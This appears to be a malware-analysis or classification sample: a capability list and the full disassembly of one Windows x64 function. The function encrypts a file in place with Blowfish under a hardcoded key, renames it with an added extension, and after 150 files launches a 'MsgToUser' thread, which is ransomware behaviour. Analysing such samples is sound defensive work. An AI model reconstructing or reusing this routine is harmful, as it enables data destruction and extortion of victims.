Function at 0x402003
Capabilities:
Create thread
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push rbp
push rdi
mov eax, 0x11d8
call fcn.00404360
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1170], rcx
mov qword [rbp + 0x1140], 0
mov qword [rbp + 0x1138], 0
mov qword [rbp + 0x1130], 0
mov dword [rbp + 0x114c], 0
mov dword [rbp + 0x1148], 0
mov dword [rbp + 0x1124], 0
lea rax, [rbp + 0xd0]
mov r9, rax
mov r8d, 0
mov edx, 8
lea rcx, str._0___
call sym.blowfish_setup
cmp eax, 1
je 0x4023f4
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0xc0000000
mov rcx, qword [rbp + 0x1170]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1130], rax
cmp qword [rbp + 0x1130], 0xffffffffffffffff
je 0x4023f7
mov rax, qword [rbp + 0x1130]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x114c], eax
cmp dword [rbp + 0x114c], 0xffffffff
jne 0x402118
mov rax, qword [rbp + 0x1130]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x4023f8
mov eax, dword [rbp + 0x114c]
and eax, 7
test eax, eax
je 0x402137
mov eax, dword [rbp + 0x114c]
and eax, 0xfffffff8
add eax, 8
mov dword [rbp + 0x114c], eax
mov eax, dword [rbp + 0x114c]
mov rdx, rax
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp + 0x1140], rax
mov eax, dword [rbp + 0x114c]
mov rdx, rax
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp + 0x1138], rax
cmp qword [rbp + 0x1140], 0
je 0x402187
cmp qword [rbp + 0x1138], 0
jne 0x40219f
mov rax, qword [rbp + 0x1130]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x4023f8
lea rcx, [rbp + 0x1128]
mov r8d, dword [rbp + 0x114c]
mov rdx, qword [rbp + 0x1140]
mov rax, qword [rbp + 0x1130]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
jne 0x402215
mov rax, qword [rbp + 0x1140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
mov rax, qword [rbp + 0x1138]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
mov rax, qword [rbp + 0x1130]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x4023f8
mov rax, qword [rbp + 0x1130]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFilePointer]
call rax
mov dword [rbp + 0x1148], 0
jmp 0x40227e
mov eax, dword [rbp + 0x1148]
mov rdx, qword [rbp + 0x1138]
add rdx, rax
mov eax, dword [rbp + 0x1148]
mov rcx, qword [rbp + 0x1140]
add rax, rcx
lea rcx, [rbp + 0xd0]
mov r8, rcx
mov rcx, rax
call sym.blowfish_ecb_encrypt
add dword [rbp + 0x1148], 8
mov eax, dword [rbp + 0x1148]
cmp eax, dword [rbp + 0x114c]
jb 0x402245
lea rcx, [rbp + 0x112c]
mov r8d, dword [rbp + 0x114c]
mov rdx, qword [rbp + 0x1138]
mov rax, qword [rbp + 0x1130]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
jne 0x402302
mov rax, qword [rbp + 0x1140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
mov rax, qword [rbp + 0x1138]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
mov rax, qword [rbp + 0x1130]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x4023f8
mov rax, qword [rbp + 0x1140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
mov rax, qword [rbp + 0x1138]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
mov rax, qword [rbp + 0x1130]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x40]
mov rdx, qword [rbp + 0x1170]
mov rcx, rax
call sym.strcpy
lea rax, [rbp - 0x40]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x40]
add rax, rdx
mov dword [rax], 0x6777722e
mov byte [rax + 4], 0
lea rax, [rbp - 0x40]
mov rdx, rax
mov rcx, qword [rbp + 0x1170]
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileA]
call rax
mov eax, dword [0x0040a030]
add eax, 1
mov dword [0x0040a030], eax
mov eax, dword [0x0040a030]
cmp eax, 0x96
jbe 0x4023f8
lea rax, [rbp + 0x1124]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.MsgToUser]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov dword [0x0040a030], 0
jmp 0x4023f8
nop
jmp 0x4023f8
nop
add rsp, 0x11d8
pop rdi
pop rbp
ret